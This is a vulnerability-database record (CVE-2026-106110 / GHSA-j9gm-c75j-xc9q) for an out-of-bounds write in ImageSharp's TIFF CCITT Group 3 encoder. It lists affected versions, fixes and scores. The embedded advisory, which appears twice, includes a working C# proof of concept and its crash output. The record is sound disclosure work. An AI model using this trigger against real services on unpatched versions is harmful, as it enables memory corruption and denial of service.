{"id":"CVE-2026-106110","aliases":["EUVD-2026-93574","GHSA-j9gm-c75j-xc9q"],"status":"published","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, the TIFF CCITT Group 3 encoder allocates an undersized compressed-data buffer for narrow 1-bit images. TiffCcittCompressor.Initialize does not reserve enough space for the row data and T4 end-of-line codes, and T4BitCompressor.CompressStrip reaches unchecked writes when TiffCompression.CcittGroup3Fax is selected directly or inherited from decoded TIFF metadata. An attacker-controlled encode or decode-and-re-encode flow can write beyond the logical output span, corrupt process memory, and terminate the process. This issue is fixed in version 4.1.2.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00385,"percentile":0.33094,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-787"],"published":"2026-10-06T17:42:02Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"NuGet","package":"SixLabors.ImageSharp","fixed_in":["3.2.0","4.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"3.2.0"}]}]},{"source":"ghsa","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.1.2"}]}]},{"source":"osv","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.0"},{"fixed":"3.2.0"}]}],"versions":["2.0.0","2.1.0","2.1.1","2.1.10","2.1.11","2.1.12","2.1.13","2.1.2","2.1.3","2.1.4","2.1.5","2.1.6","2.1.7","2.1.8","2.1.9","3.0.0","3.0.1","3.0.2","3.1.0","3.1.1","3.1.10","3.1.11","3.1.12","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6","3.1.7","3.1.8","3.1.9"]},{"source":"osv","ecosystem":"NuGet","package":"SixLabors.ImageSharp","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"4.1.2"}]}],"versions":["4.0.0","4.1.0","4.1.1"]}],"products":[{"vendor":"sixlabors","product":"imagesharp"}],"references":[{"url":"https://github.com/SixLabors/ImageSharp/security/advisories/GHSA-j9gm-c75j-xc9q","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/SixLabors/ImageSharp/pull/3187","tags":["x_refsource_MISC","Issue Tracking","Patch","fix","web"]},{"url":"https://github.com/SixLabors/ImageSharp/commit/a9498c6db3642ef92c712ebc81e706914ac16a95","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/SixLabors/ImageSharp/releases/tag/v4.1.2","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-106110","tags":["advisory"]},{"url":"https://github.com/SixLabors/ImageSharp/pull/3208","tags":["web"]},{"url":"https://github.com/SixLabors/ImageSharp/commit/baa37cd19077b2a2a0c5667535111cf31d48c019","tags":["web"]},{"url":"https://github.com/SixLabors/ImageSharp/releases/tag/v3.2.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-j9gm-c75j-xc9q"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/106xxx/CVE-2026-106110.json","tags":["advisory"]},{"url":"https://github.com/SixLabors/ImageSharp","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-106110","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, the TIFF CCITT Group 3 encoder allocates an undersized compressed-data buffer for narrow 1-bit images. TiffCcittCompressor.Initialize does not reserve enough space for the row data and T4 end-of-line codes, and T4BitCompressor.CompressStrip reaches unchecked writes when TiffCompression.CcittGroup3Fax is selected directly or inherited from decoded TIFF metadata. An attacker-controlled encode or decode-and-re-encode flow can write beyond the logical output span, corrupt process memory, and terminate the process. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:42:02.099Z","modified":"2026-10-09T01:19:50.868Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T14:20:04.463704Z"}],"euvd":[{"id":"EUVD-2026-93574","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, the TIFF CCITT Group 3 encoder allocates an undersized compressed-data buffer for narrow 1-bit images. TiffCcittCompressor.Initialize does not reserve enough space for the row data and T4 end-of-line codes, and T4BitCompressor.CompressStrip reaches unchecked writes when TiffCompression.CcittGroup3Fax is selected directly or inherited from decoded TIFF metadata. An attacker-controlled encode or decode-and-re-encode flow can write beyond the logical output span, corrupt process memory, and terminate the process. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:42:02Z","modified":"2026-10-09T01:19:50Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:27:25.942984Z"}],"ghsa":[{"id":"GHSA-j9gm-c75j-xc9q","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"### Summary\n\nImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.\n### Preconditions and impact\n\nThe affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.\n\n`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.\n\nA 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.\n\n### Tested environment\n\n- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**\n- Target framework: `net8.0`\n- Runtime: .NET 8.0.30; SDK 8.0.424\n- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nIn a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.\n\n```csharp\nusing System;\nusing System.IO;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstring mode = args.Length \u003e 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length \u003e 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image\u003cL8\u003e(width, height);\nfor (int y = 0; y \u003c image.Height; y++)\n    for (int x = 0; x \u003c image.Width; x++)\n        image[x, y] = new L8((byte)(((x + y) \u0026 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n  at ...TiffCcittCompressor.GetWhiteTermCode(...)\n  at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n    BitsPerPixel = TiffBitsPerPixel.Bit1,\n    Compression = TiffCompression.CcittGroup3Fax\n};\n```","status":"published","published":"2026-10-07T20:24:28Z","modified":"2026-10-26T14:22:53Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T14:41:36.858527Z"}],"nvd":[{"id":"CVE-2026-106110","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, the TIFF CCITT Group 3 encoder allocates an undersized compressed-data buffer for narrow 1-bit images. TiffCcittCompressor.Initialize does not reserve enough space for the row data and T4 end-of-line codes, and T4BitCompressor.CompressStrip reaches unchecked writes when TiffCompression.CcittGroup3Fax is selected directly or inherited from decoded TIFF metadata. An attacker-controlled encode or decode-and-re-encode flow can write beyond the logical output span, corrupt process memory, and terminate the process. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T18:16:52.49Z","modified":"2026-10-24T01:42:13.327Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T14:12:54.486849Z"}],"osv":[{"id":"CVE-2026-106110","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"ImageSharp is a 2D graphics library. From 2.0.0 until 4.1.2, the TIFF CCITT Group 3 encoder allocates an undersized compressed-data buffer for narrow 1-bit images. TiffCcittCompressor.Initialize does not reserve enough space for the row data and T4 end-of-line codes, and T4BitCompressor.CompressStrip reaches unchecked writes when TiffCompression.CcittGroup3Fax is selected directly or inherited from decoded TIFF metadata. An attacker-controlled encode or decode-and-re-encode flow can write beyond the logical output span, corrupt process memory, and terminate the process. This issue is fixed in version 4.1.2.","status":"published","published":"2026-10-06T17:42:02.099Z","modified":"2026-10-28T02:30:45.396329612Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T15:44:54.583213Z"},{"id":"GHSA-j9gm-c75j-xc9q","title":"ImageSharp: TIFF CCITT T4 encoder can write past its compressed output buffer","description":"### Summary\n\nImageSharp's TIFF CCITT Group 3 (T4) encoder can write beyond its allocated compressed-data buffer when encoding narrow 1-bit images. The unchecked writes can corrupt process memory and terminate the process.\n\nThis report concerns only the T4 `CcittGroup3Fax` encoder path. It replaces the prior, unrelated ICC content.\n\n### Affected package and versions\n\n- Package: `SixLabors.ImageSharp` (NuGet)\n- Affected range: `\u003e= 2.0.0, \u003c= 4.1.1`\n- Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**.\n\nThe T4 encoder and its undersized buffer calculation first shipped in v2.0.0. The narrow-image exploit terminates published v2.0.0 and v4.1.1 while the same-height 64-pixel control succeeds on both. Every release through v4.1.1 retains the vulnerable allocation and unchecked bit-write structure.\n### Preconditions and impact\n\nThe affected path is reached when the application encodes 1-bit image data with `TiffCompression.CcittGroup3Fax`. This can happen when an application explicitly selects `TiffEncoder.BitsPerPixel = Bit1` and `TiffEncoder.Compression = CcittGroup3Fax`. It can also occur when an application decodes a TIFF and re-encodes it using the default `TiffEncoder`, because ImageSharp retains TIFF frame metadata including the compression and bit depth.\n\n`TiffCompressorFactory` creates `T4BitCompressor` for `CcittGroup3Fax`. `TiffCcittCompressor.Initialize` allocates `Width * rowsPerStrip` bytes, but non-modified T4 writes a 12-bit EOL before row data and an additional 12-bit EOL per row. `WriteCode` calls `BitWriterUtils.WriteBit` and `WriteZeroBit`, both of which use `Unsafe.Add` without a capacity check. Thus the encoded bit stream can exceed the allocated span.\n\nA 1-pixel-wide, 2000-row alternating bilevel image caused a fatal `System.AccessViolationException` during T4 compression. This is a memory-corruption and availability issue for applications that expose this encoding flow to attacker-controlled input.\n\n### Tested environment\n\n- Package binary: NuGet `SixLabors.ImageSharp` **4.1.1**\n- Target framework: `net8.0`\n- Runtime: .NET 8.0.30; SDK 8.0.424\n- Operating system: Debian GNU/Linux 12 (bookworm), Linux arm64, Docker\n\nNo active exploitation is known.\n\n### Reproduction\n\nIn a `net8.0` project that references the published `SixLabors.ImageSharp` 4.1.1 binary, save the following as `Program.cs`. Run `dotnet run -- exploit 2000` for the trigger and `dotnet run -- control 2000` for the control.\n\n```csharp\nusing System;\nusing System.IO;\nusing SixLabors.ImageSharp;\nusing SixLabors.ImageSharp.Formats.Tiff;\nusing SixLabors.ImageSharp.Formats.Tiff.Constants;\nusing SixLabors.ImageSharp.PixelFormats;\n\nstring mode = args.Length \u003e 0 ? args[0] : \"exploit\";\nint width = mode == \"control\" ? 64 : 1;\nint height = args.Length \u003e 1 ? int.Parse(args[1]) : 2000;\n\nConsole.WriteLine($\"mode={mode} width={width} height={height}\");\nusing var image = new Image\u003cL8\u003e(width, height);\nfor (int y = 0; y \u003c image.Height; y++)\n    for (int x = 0; x \u003c image.Width; x++)\n        image[x, y] = new L8((byte)(((x + y) \u0026 1) == 0 ? 255 : 0));\n\nvar metadata = image.Frames.RootFrame.Metadata.GetTiffMetadata();\nmetadata.BitsPerPixel = TiffBitsPerPixel.Bit1;\nmetadata.Compression = TiffCompression.CcittGroup3Fax;\n\nusing var output = new MemoryStream();\nimage.Save(output, new TiffEncoder());\nConsole.WriteLine($\"Encoded OK: {output.Length} bytes\");\n```\n\nAgainst the published 4.1.1 package, this produced:\n\n```text\nmode=exploit width=1 height=2000\nFatal error. System.AccessViolationException: Attempted to read or write protected memory.\n  at ...TiffCcittCompressor.GetWhiteTermCode(...)\n  at ...T4BitCompressor.CompressStrip(...)\n```\n\nA 64-pixel-wide, 2000-row control using the same Group 3 metadata completed successfully:\n\n```text\nmode=control width=64 height=2000\nEncoded OK: 76230 bytes\n```\n\nThe direct public configuration path also triggers with:\n\n```csharp\nnew TiffEncoder\n{\n    BitsPerPixel = TiffBitsPerPixel.Bit1,\n    Compression = TiffCompression.CcittGroup3Fax\n};\n```","status":"published","published":"2026-10-07T20:24:28Z","modified":"2026-10-26T14:30:04.601435209Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-787"],"updated_at":"2026-11-02T15:46:50.336262Z"}]}}